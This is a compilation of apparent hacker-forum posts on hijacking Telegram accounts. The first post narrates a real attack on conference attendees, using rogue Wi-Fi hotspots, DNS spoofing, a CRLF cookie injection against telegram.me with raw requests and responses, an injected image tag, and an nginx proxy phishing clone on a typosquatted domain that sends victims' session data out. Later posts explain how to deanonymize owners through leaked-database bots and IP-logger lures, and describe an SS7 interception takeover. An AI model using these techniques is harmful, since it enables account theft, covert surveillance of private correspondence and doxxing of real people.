Mass hacking of telegram accounts

[BadB]

Hi young hacker, this article will focus on hacking telegram accounts.

In addition to the official clients, the telegram.me domain is actively used. It serves as a link to a contact, an invite link to add to a group or channel, you can also add stickers through it. If the user is authenticated in the web client, then the stel_web_auth cookie is present, which answers which domain to redirect the user to.

Here are examples of a request to telegram.me with a cookie:

GET /i_bo0om HTTP/1.1 Host: telegram.me Cookie: stel_web_auth=localhost

And the answer is:

HTTP/1.1 302 Found Server: nginx/1.6.2 Date: Thu, 19 May 2016 22:02:23 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: keep-alive Set-Cookie: stel_ssid=823678114; path=/ Pragma: no-cache Cache-control: no-store Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om Strict-Transport-Security: max-age=15768000

It is worth noting that the cookie has the ability to insert \ r \ n characters, which allows you to forge response headers from the server, or, for example, a whole HTTP packet. And this leads at least to XSS (hello Internet Explorer).
Typically, in the case of a CRLF, a Set-cookie header is set to demonstrate the vulnerability, which sets the cookie. But I have CRLF injection already through cookies, so I can do it )

Here's an example of header spoofing:

GET /i_bo0om HTTP/1.1 Host: telegram.me Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20

Answer:

HTTP/1.1 302 Found Server: nginx/1.6.2 Date: Thu, 19 May 2016 22:23:31 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: keep-alive Set-Cookie: stel_ssid=1297301663; path=/ Pragma: no-cache Cache-control: no-store Location: localhost Header1: ok Header2: ok other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om Strict-Transport-Security: max-age=15768000

Note that the Strict-Transport-Security header is present, which does not allow you to get to the cherished cookie if you try to use the MiTM attack (man in the middle), despite the fact that the cookie does not have the Secure flag. So the cookie can be set using XSS (there is no HttpOnly flag), but I didn't find it right away.

And then I remembered about one feature of modern web applications. A subdomain (blabla.telegram.me) can set a cookie on the main domain (telegram.me). It turns out, of course, not an open redirect, but a clever redirect to someone else's domain, when using the telegram.me domain

To do this, I need:

1. Share your Wi-Fi hotspot.
2. Redirect users to a non-existent subdomain that is placing the cookie.
3. Force the user to visit my subdomain. Taking the first step into account, it's easy.

When a user is thrown a link to an invitation, for example, to a group, he will be redirected to a fake application. Trying? Go!

Cooking a fake.
Using the urlcrazy utility, I generated free domains suitable for fake. Excellent approached tele rg am.org. Telegram is a complex enough word that you might not notice the change of two monospaced consonants in the middle.

I took a cloud server for a month and made a fake. Well, how did the fake. I used nginx proxying. Using the proxy_pass module, you can configure the proxying of all requests to another site, so that someone who visits my resource can see the contents of another site, completely and completely, including changes in real time.
Here is the complete config of the "fake" of the main telegram website:

server {listen 80; # listening on port 80 server_name telergam.org; # which domain we are responding to location / {proxy_pass https://telegram.org; # proxying the telegram website}

And using the sub_filter module, you can replace the contents of the string with an arbitrary one. In the image and likeness, proxying to web.telegram was configured, with some amendments - the client sent the current session identifier (and other data from localStorage), phone number, browser to my server.
What else is needed for a good life? SSL! Well, advanced users will immediately suspect that something was wrong, and the presence of a "green lock" adds a fake to the charisma.
Therefore, we register a free account on cloudflare and get the opportunity to close the server ip address and the cherished lock from prying eyes ?

Now try to find 10 differences:

But if you look at the source, there will be extra js, which sends the victim's data to the controlled server.

Positive Hack Days
Not so long ago, at the ZeroNights conference, I was already playing with MiTM, distributing "free Wi-Fi", cutting SSL and collecting traffic. This time, the traffic dump was no longer interesting to me, so the main goal was to distribute magic cookies to users' browsers.

Step 1. Wi-Fi
We had 2 pineapple wi-fi, 4500 potential victims, 3 alphas, several 8 dbi antennas and a whole lot of Wi-Fi cards of all varieties and colors, as well as MITMf, DNSspoof, Mana Toolkit, strip-n-inject and a proxy server with fake dns server. Not that it was a necessary supply for the trip. But once you start collecting equipment for MITM, it becomes difficult to stop. The only thing that caused me concern was BeEF . There is nothing more helpless, irresponsible, and flawed than XSS zombies. I knew that sooner or later we would switch to this rubbish.

“Pineapples” come to the rescue, these are special devices for attacks using a fake Wi-Fi hotspot. The conference had two floors, but we wanted to cover the maximum number of people. In addition, the official Wi-Fi with SSID "PHD" was distributed, so all that remained was to power the device. The socket and the space under the table on the ground floor were perfect.

Pineapple is more powerful, on the second floor, he was more lucky - he got an ethernet cable, so a fast and stable Internet was distributed. "Alpha" with a laptop (the same pair I used at ZeroNights) roamed with me. In addition, I wanted to adapt the mr3040 with OpenWRT , but due to the number of people and the low power, I left this idea behind.

A powerful Xiaomi router was also brought from St. Petersburg, but due to lack of time for firmware / configuration, it remained in the box. Moreover, the coverage was already sufficient for a successful attack.

Step 2. DNS
The task is to write a cookie on telegram.me, so on the server I created a subdomain i.telegram.me and answered any request by setting a cookie (no content). I think it doesn't make much sense to give DNS using DHCP, but just in case, I put unbound and opened it to the world (so that they can connect). Immediately after PHDays, an abuse came, someone managed to scan dns and DDoS'ed them .gov sites.

The utilities DNSMasqSpoof and DNSspoof were also used. For some reason, the first option worked buggy, so the last one remained.

Step 3. Injection
This time, you don't need to use sslstrip / sslsplit / hsts bypass. And why bother? A little bit, the browser will start screaming at the invalid certificate, but it is necessary that he uses the Internet. When surfing, the victim will most likely go to the http resource, and I'm right there. Therefore, the tag was inserted at the end of the document

<img src="http://i.telegram.me/" onerror=remove()>

Everything is simple - a GET request is sent to a non-existent domain, but the fake DNS responds with the IP address I need, in response from the fake domain a header is received with the setting of a cookie. Since the tag is an image, the onerror event fires and the tag is removed.
The guys from Hardware Village suggested injecting BeEf in order to completely control the victim's browser, then display who was caught on the TV (yes, like at the BlackHat conference). There was no time, but next time I have to do it.

As a result, if a user visits any HTTP site using my Wi-Fi, his browser will be "infected", and when he follows the telegram.me links, he will be redirected to a fake authentication page.

Results
But I expected better results.
On the first day of an active attack (when the maximum number of people is at the conference) - no one. Nobody came in. In the middle of the conference, several attentive people went to the sniffer's pages, climbed the fakeogram. Closer to the night there was one entrance. Well, at least so.

Another entrance was half past two at night, it can also be counted for the first day.

On the second day I went to recheck the equipment, is everything working as it should? I tried to launch the browser myself - everything is cool, the cookie is set, telegram.me redirects, the login log is written. I sat for a couple of hours and rechecked what could be the problem. The people clung to. Most were from mobile devices, but laptops were also willing to connect. At Hardware Village, mitmf (with respoder) was launched for injection, just in case. Again two entrances and again at night.

Conclusions

Pros:

• Remember when telegram journalists were broken? There was a very clear pale left - the hacker's IP addresses, because telegram reports from which IP the login is taking place. In this case, the IP address will match the victim's address. And since we control the client himself, we have access to correspondence and the ability to perform any actions on behalf of the victim.
• Even if there is two-factor authentication, it will not help.
• The exit button can be replaced by destroying the session identifier only on the victim's side, thereby monitoring the correspondence all the time until the victim destroys active sessions in the settings.
• The method can be modified and improved

Minuses:

• The user may not log in at all. Of the 4,500 people at the hacker conference, the breakout rate was less than 1%.
• Naturally, we will not get access to secret chats.
• Inattentive users. But personally, I would not notice.
• If the user authenticates to the official web client, the cookie will be overwritten.

 

[Lord777]

Deanonymizing your Telegram account

They often write - help me find the owner of the telegram account. In this post, I collect all possible ways to do this.

We think like investigators -what leads do we have?

This is the account itself (its ID), username, nickname, avatar, and messages sent from the account.

1. Knowing the ID, you should check your account for the presence of TG 40M in the database. This can be done via @qucik_osint_bot or the Eye of God. If the account is leaked, the bot will give you the phone number that the account was registered for.

2. We also have a nickname and username. Use the nickname search tools (for example, @maigret_osint_bot) to search for other accounts of the same user.

It's also worth checking out which nicknames were previously used on your account. You can use @SangMataInfo_bot or @telesint_bot to do this. And repeat the search for your old nicknames.

3. Download your account avatars, and then search for exact copies of the photo (using Yandex and Google). If the photo shows a face, try searching for photos of the same person.

4. You can find your account's messages in public chats using the @telesint_bot bot. There may be useful clues, photos and images that you can apply the search methods from point 3. As well as personal data, such as phone or email.

5. Bonus point - social engineering. Try to get acquainted with the person, embed a logger (for example, iplogger.ru) to the Telegraph article and convince the account owner to open the article.

 

[Hacker]

Hacking of Telegram accounts. SS7 protocol vulnerability.

We decided to check whether you really need to be a special service to get access to someone else's Telegram account. To do this, we registered a test Telegram account and exchanged several test messages:

And then we attacked one of the test numbers through the SS7 network. And here's what we got:

Let's find out IMSI first ...

We will re-register the subscriber to our terminal ...

Getting the subscriber's profile…

Completing the subscriber re-registration procedure…

We now have the victim's phone number under our full control. We initiate the procedure for connecting to Telegram on any device under the victim's account (phone number) and get the cherished SMS…

After entering the code, we get full access to your Telegram account. Now we can not only conduct correspondence on behalf of the victim, but also read all the correspondence that the Telegram client kindly uploads (the phone on the right has a full copy of the phone's correspondence on the left):

Однако прочитать секретные чаты невозможно:

But you can create a new one and correspond on behalf of the victim:

After that, we carried out the same attack on WhatsApp. Of course, we got access to the account, but since WhatsApp (allegedly) does not store the history of correspondence on the server, it was not possible to get access to the correspondence that was previously there. WhatsApp stores a copy of your correspondence in Google Drive, so you also need to hack your Google account to get access to it. But it is quite realistic to conduct correspondence on behalf of the victim, so that she will not know about it.:

Conclusions: how many times have we told the world that sending one-time codes via SMS is unsafe, since mobile communication is generally unsafe. Vulnerabilities affect not only the SS7 technology network, but also the radio interface encryption algorithms. Attacks on the SS7 network can be carried out from anywhere in the world, and the attacker's capabilities are not limited to hacking messengers. And now all these attacks are becoming available not only to the special services, but also to many others. It is also worth noting that all tests were conducted with the default settings, that is, in the mode in which most users work.